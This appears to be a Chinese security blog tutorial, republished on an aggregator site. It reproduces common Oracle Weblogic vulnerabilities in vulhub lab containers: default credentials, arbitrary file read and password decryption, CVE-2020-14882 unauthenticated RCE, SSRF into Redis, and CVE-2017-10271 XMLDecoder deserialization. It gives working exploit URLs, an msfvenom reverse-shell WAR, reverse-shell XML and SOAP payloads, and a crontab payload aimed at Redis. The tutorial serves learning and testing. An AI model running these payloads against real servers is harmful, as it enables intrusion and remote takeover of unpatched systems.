Weblogic常见漏洞详解

这篇具有很好参考价值的文章主要介绍了Weblogic常见漏洞详解。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

Weblogic简介

Weblogic弱口令/文件读取漏洞

漏洞原理

环境搭建

复现过程

Weblogic未授权远程命令执行漏洞

漏洞原理

影响版本

环境搭建

复现过程

方法一

方法二

修复方法

Weblogic SSRF漏洞

漏洞原理

影响版本

环境搭建

复现过程

Weblogic XMLDecoder反序列化漏洞

漏洞原理

影响版本

环境搭建

复现过程

工具利用

Weblogic-Scan

总结


Weblogic简介

Weblogic 是一个基于JavaEE架构的中间件,是用于开发、集成、部署和管理大型分布式为Web应用、网络应用和数据库应用的Java应用服务器。Weblogic由纯Java开发,被广泛应用于开发、部署和运行Java应用等适用于本地环境和云环境的企业应用。

所以,Weblogic在面试当中被提到频率还蛮高的。

这篇文章以vulhub靶场为辅。

Weblogic弱口令/文件读取漏洞

漏洞原理

这里有两个漏洞。

弱口令漏洞原理是因为在搭建好Weblogic后没有修改后台的默认密码或者密码设置太简单,导致存在弱口令登录,获取服务器管理员权限。

文件读取漏洞是因为对用户输入内容没有进行限制与过滤,导致可以读取任意文件。

环境搭建

先搭建好vulhub环境,没有搭建的可以先看这篇文章kali搭建vulhub。

先进入对应目录

cd vulhub/weblogic/weak_password

启动靶场

docker-compose up -d

访问靶场

http://ip:7001/console

复现过程

这里存在弱口令登录:weblogic/Oracle@123

weblogic漏洞,中间件,Web,web安全,中间件

可以记一下Weblogic常见的弱口令账号密码

用户名:system、weblogic、admin、system、wlcsystem、Weblogic

密码:Weblogic、weblogic、weblogic123、password、security、system、admin、Password、wlcsystem、Oracle@123

也可以将以上常见用户名密码存储在文件里,然后使用BurpSuite的intruder模块进行爆破。

weblogic漏洞,中间件,Web,web安全,中间件

进行爆破,呃...此环境存在登录限制,错误密码5次就会自动锁定,所以爆破失败了...。这就是爆破账号密码的限制之一。重启一下docker和vulhub环境。用弱口令登录,成功登录后台。

然后点击Deployments(部署),点击install(安装),可以看到有一个文件上传入口

weblogic漏洞,中间件,Web,web安全,中间件

这里上传部署文件(即war文件),这里是Java环境,可以用msf工具生成一个木马

msfvenom -p java/meterpreter/reverse_tcp lhost=xxx.xxx.xx.xxx lport=4444 -f war -o java.war

weblogic漏洞,中间件,Web,web安全,中间件

然后上传我们的war文件,一直点下一步按钮直到完成

weblogic漏洞,中间件,Web,web安全,中间件

然后 开启监听

msfconsole	
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.xx.xxx
set LPORT 4444
exploit

接着访问http://ip:7001/java这个url就可以触发木马

weblogic漏洞,中间件,Web,web安全,中间件

前面说过,这里还有一个漏洞,就是任意文件读取漏洞,访问如下url可任意读取文件

http://ip:7001/hello/file.jsp?path= #接文件路径

想知道为什么是这个路径的话,可以用工具扫描。

我们可以借助这个漏洞来读取密文和密钥,由于weblogic密码使用AES加密,它是对称密码,可解密。

weblogic

密文存储文件的绝对路径是/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

密钥存储文件的绝对路径是/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml

SerializedSystemIni.dat是一个二进制文件,使用BurpSuite来读取

weblogic漏洞,中间件,Web,web安全,中间件

选中数据分段的hex,右键保存到文件中,保存为1.dat

weblogic漏洞,中间件,Web,web安全,中间件

获取密钥文件,然后将其复制保存

weblogic漏洞,中间件,Web,web安全,中间件

{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=

接下来去进行weblogic密文解密,weblogic解密工具下载链接

java -jar weblogic_decrypt.jar

weblogic漏洞,中间件,Web,web安全,中间件

得到破解结果是Oracle@123,也就是密码。

Weblogic未授权远程命令执行漏洞

漏洞原理

允许未授权的用户绕过管理控制台的权限验证访问后台,进入后台后,又允许任意用户通过HTTP协议执行任意命令。

影响版本

10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

环境搭建

先进入对应目录

cd weblogic/CVE-2020-14882  

启动环境

docker-compose up -d    

访问环境

 http://ip:7001/console 

复现过程

可以用目录扫描工具一步步扫然后访问看有什么页面是有漏洞的

这里直接给出了未授权访问管理员后台的页面

http://ip:7001/console/css/%252e%252e%252fconsole.portal
或
http://ip:7001/console/images/%252e%252e%252fconsole.portal

这里的%252e%252e%252f是经过两次url编码后的../,通过这个就可以实现穿越路径未授权访问后台页面

进入后台管理页面之后,点击部署,发现并没有安装按钮,这是因为通过未授权访问的后台权限过低。

方法一

通过com.tangosol.coherence.mvel2.sh.ShellSession 类实现,这个利用方法只能在Weblogic12.2.1以上版本使用,因为10.3.6版本没有这个类。

com.tangosol.coherence.mvel2.sh.ShellSession 类是 Oracle Coherence 中用于执行 MVEL 表达式的 Shell 会话类,提供了一个交互式的环境,用于在 Coherence 中进行动态表达式的执行

直接访问如下URL,即可执行命令

http://IP:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test%27);%22)

进入容器查看,可以看到这个命令执行成功

weblogic漏洞,中间件,Web,web安全,中间件

方法二

通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 类实现,这个方法对Weblogic的所有版本都有效。该方法需要提前将恶意代码部署在任意网络目录下,当访问该木马文件时即可触发,返回界面任是404界面,但是可以正常反弹。

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 类是 WebLogic Server 中重新打包的 Spring Framework的 FileSystemXmlApplicationContext 类,用于在 WebLogic Server 中加载和管理基于 XML 配置文件的 Spring 应用程序上下文。

此方法需要借助XML文件,访问XML文件来执行命令。

构造一个反弹shell的XML文件,shell.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[bash -i >& /dev/tcp/IP/端口 0>&1]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

然后放在网页文件存储目录下(默认为/var/www/html)

然后开启端口监听和apache2服务,即可访问文件

执行如下URL

http://192.168.15.249:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.15.249/shell.xml(木马文件路径)")

结果如下,反弹成功

weblogic漏洞,中间件,Web,web安全,中间件

修复方法

  • 下载官方补丁进行升级修复
  • 关闭后台/console/console.portal的访问权限
  • 修改后台默认地址

Weblogic SSRF漏洞

漏洞原理

Weblogic的uddi组件实现包中有个ddiexplorer.war文件,其下的SearchPublicReqistries.jsp接口存在SSRF漏洞,可以利用该漏洞可以发送任意HTTP请求,实现攻击内网中Redis等脆弱组件。

影响版本

10.0.2、10.3.6

环境搭建

先进入对应目录

cd vulhub/weblogic/ssrf

启动环境

docker-compose up -d

访问环境

http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp

复现过程

f12页面,发现引用了外部链接,那么就有可能存在SSRF漏洞。

weblogic漏洞,中间件,Web,web安全,中间件

点击search,使用BurpSuite抓包

能看到有个operator参数可能存在SSRF漏洞,那修改operator参数用来探测开放IP端口看看

weblogic漏洞,中间件,Web,web安全,中间件

返回状态码,说明主机存活且端口开放;当访问一个不存在的主机或端口时,会返回could not connect over HTTP to server。

确认存在SSRF漏洞,那就利用Redis实现反弹shell(测试环境Redis服务存在未授权访问漏洞)

 先看一下docker容器里的Redis的IP地址:

docker ps -a
docker inspect 容器ID

weblogic漏洞,中间件,Web,web安全,中间件

可以通过SSRF漏洞向Redis写入命令(Redis需要以root权限写入),之前我写的Redis文章就有提及,不懂的可以去看看。crontab是一个可以自动执行定时命令的配置文件,通过它来自动执行反弹shell命令。(*****表示每分钟执行一次命令)

set s "\n* * * * * root bash -i >& /dev/tcp/192.168.15.249/4444 0>&1\n"
config set dir /etc/
config set dbfilename crontab
save

对上面命令进行URL编码:

%0D%0A%0D%0Aset%20s%20%22%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.15.249%2F4444%200%3E%261%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0A

记得要加上每行的换行符(\r\n,编码后是%0D%0A),这里的开头和结尾也要分别填充上换行符号,不然会和其他代码混合而导致执行不了。

开启端口监听,然后访问payload,好吧,我最终没有成功...(我发现我的Redis主机就不存活,可能是IP错了?)

Weblogic XMLDecoder反序列化漏洞

漏洞原理

WLS-WSAT是Weblogic Server事务管理的一个组件,它使用Java的反序列化机制来处理数据,调用XMLDecoder类将用户传入的XML数据转换成Java对象

在某些情况下攻击者可以构造恶意的序列化数据作为POST请求的一部分发送到Weblogic Server的T3协议端口(默认为7001),并且在请求头中设置一个特殊的“Content-Type”值来触发漏洞。当Weblogic Server处理该请求时,XMLDecoder将恶意的序列化数据反序列为Java对象,并执行其中的恶意代码。

T3协议是Weblogic用于通信的独有的一个协议,Weblogic Server的RMI通信使用它在其他区的Java程序(包括服务端,客户端等)传输数据。

`ac ed 00 05`是反序列化标志,而在T3每个序列化数据包前面都有`fe 01 00 00`

影响版本

10.3.6.0.0、12.1.3.0.0、12.2.1.1.0、12.2.1.2.0

环境搭建

先进入对应目录

cd vulhub/weblogic/CVE-2017-10271

启动环境

docker-compose up -d

访问环境

http://ip:7001/wls-wsat/CoordinatorPortType

复现过程

对该页面进行抓包,修改请求方式为POST,添加请求字段Content-Type:text/xml,然后添加如下POC

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.15.249/5555 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

其中的反弹命令是经过HTML实体编码的,防止XML解析时出现格式错误。

weblogic漏洞,中间件,Web,web安全,中间件

开启监听,成功获取到shell

weblogic漏洞,中间件,Web,web安全,中间件

工具利用

Weblogic-Scan

是一款专门用于扫描和检测Weblogic漏洞的开源工具。该工具可以扫描Weblogic服务器常见漏洞,发现漏洞后需要使用其他工具或其他方法利用漏洞。Weblogic-Scan下载链接

拉取git下载

sudo git clone https://github.com/0xn0ne/weblogicScanner.git
或
sudo proxychains git clone https://github.com/0xn0ne/weblogicScanner.git 

常见指令

-t                                                        对目标地址或文件进行扫描(默认端口为7001)

-v                                                        对指定漏洞名称或CVE编号进行扫描

-o                                                        指定输出结果的路径

-s                                                        强制使用https协议请求

使用过程

weblogic漏洞,中间件,Web,web安全,中间件

如图,+号表示存在漏洞,-号表示不存在此漏洞。文章来源地址https://www.toymoban.com/news/detail-854748.html

总结

  • Weblogic中间件常见漏洞文章讲了任意文件读取和弱口令登录、未授权访问后台和HTTP请求远程代码执行、SSRF利用、XMLDecoder反序列化漏洞
  • 弱口令登录时因为Weblogic账号密码设置过于简单,任意文件读取是因为没有过滤和限制输入和访问,Weblogic的密码是通过AES对称加密的,所以可以读取密文文件config.xml和密钥文件SerializedSystemIni.dat
  • 远程代码执行可以使用两个类,第一个类ShellSession,直接构造函数参数然后url访问就可以进行命令执行;第二个类FileSystemXmlApplicationContext,需要借助存储有POC的XML文件,提前部署到被攻击者网站下任意目录,然后访问才能够达到触发效果
  • 存在SSRF漏洞的时候可以利用Redis等进行攻击
  • XMLDecoder反序列化漏洞是因为会调用XMLDecoder来进行讲XML数据反序列化为Java对象,所以可以构造包含恶意文件的XML文件然后上传触发。这里需要将GET方法改为POST方法,增加Content-Type:text/xml
  • Weblogic扫描Weblogic-Scan的使用

到了这里,关于Weblogic常见漏洞详解的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 中间件安全—Nginx常见漏洞

      在上篇中间件安全—Apache常见漏洞中,并未对中间件漏洞进行解释,这里补充一下。   所谓的中间件漏洞就是并非是由于代码程序上设计存在缺陷而导致的漏洞,而是属于应用部署中环境配置不当或使用不当而导致的漏洞,同时这方面的漏洞也是最容易被管理员忽略的

    2024年02月09日
    浏览(44)
  • 中间件安全—Tomcat常见漏洞

      整个复现环境均使用Vulhub一键搭建漏洞测试靶场,Vulhub靶场:链接 1.2.1.漏洞原理   Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致可以使用PUT方法上传任意文件,攻击者将精心构造的payload向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被

    2024年02月08日
    浏览(55)
  • 中间件安全—Apache常见漏洞

      简单介绍一下apache是什么,Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将python等解释器编译到服务器中。 1.2.1.漏洞

    2024年01月22日
    浏览(49)
  • Weblogic 常见漏洞汇总

    WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和

    2023年04月08日
    浏览(37)
  • [Java安全]—weblogic常见漏洞

    本来想跟一些T3反序列化的,奈何本地环境怎么都起不起来先复现一下常见漏洞吧。。。 Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Jav

    2024年02月06日
    浏览(36)
  • Weblogic 常见漏洞分析与利用

    0x00 前言 一直没有系统的总结过 weblogic 的漏洞,今天通过 vulhub 靶场来复现几个经典的案例。 0x01 基础知识 weblogic简介: WebLogic 是美国 Oracle 公司出品的一个基于 JAVAEE 架构的中间件,是用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和数据库应用的Java应用服务

    2024年02月08日
    浏览(46)
  • 常见的中间件以及什么是中间件

    中间件顾名思义就是系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通,特别是应用软件对于系统软件的集中的逻辑,是一种独立的系统软件或服务程序,分布式应用软件借助这种软件在不同的技术之间共享资源。中间件在客户服务器的操作系统、网络和数

    2024年02月06日
    浏览(58)
  • 中间件漏洞解析

     服务器解析漏洞算是历史比较悠久了,但如今依然广泛存在。在此记录汇总一些常见服务器(WEB server)的解析漏洞,比如IIS6.0、IIS7.5、apache、nginx等 2 | 1 1、打开之前的一个网站,比如:cookies 2 | 2 2.目录解析漏洞 找到cookies,新建一个名字为.asp(也可以是.cer和.asa)的文件夹,这

    2024年02月12日
    浏览(46)
  • 中间件漏洞汇总

    文章内容没啥新颖的,只是温习了中间件漏洞输出成笔记而已😝 下面的地址,详细的记录了中间件漏洞,我这里再学习复现一部分。 全网最全PDF版本:Web中间件常见漏洞总结.pdf 中间件漏洞复现:https://blog.csdn.net/zy15667076526/category_10361202.html 我们经常管web中间件叫做web服务器

    2023年04月09日
    浏览(41)
  • 【云计算学习教程】什么是中间件?常见中间件有哪些?

    3)最后 Apache 把这个临时的静态网页文件发给用户。 采用 Perl、Python 和 Ruby 脚本语言编写的动态网页,其工作过程与 PHP 类似。 Apache 是最流行的开源网站服务器,在世界排名前 100 万的网站中,有 60.6% 的网站采用 Apache;在排名前 1000 的大型网站中,Apache 占到了 34.5%,而 N

    2024年04月22日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包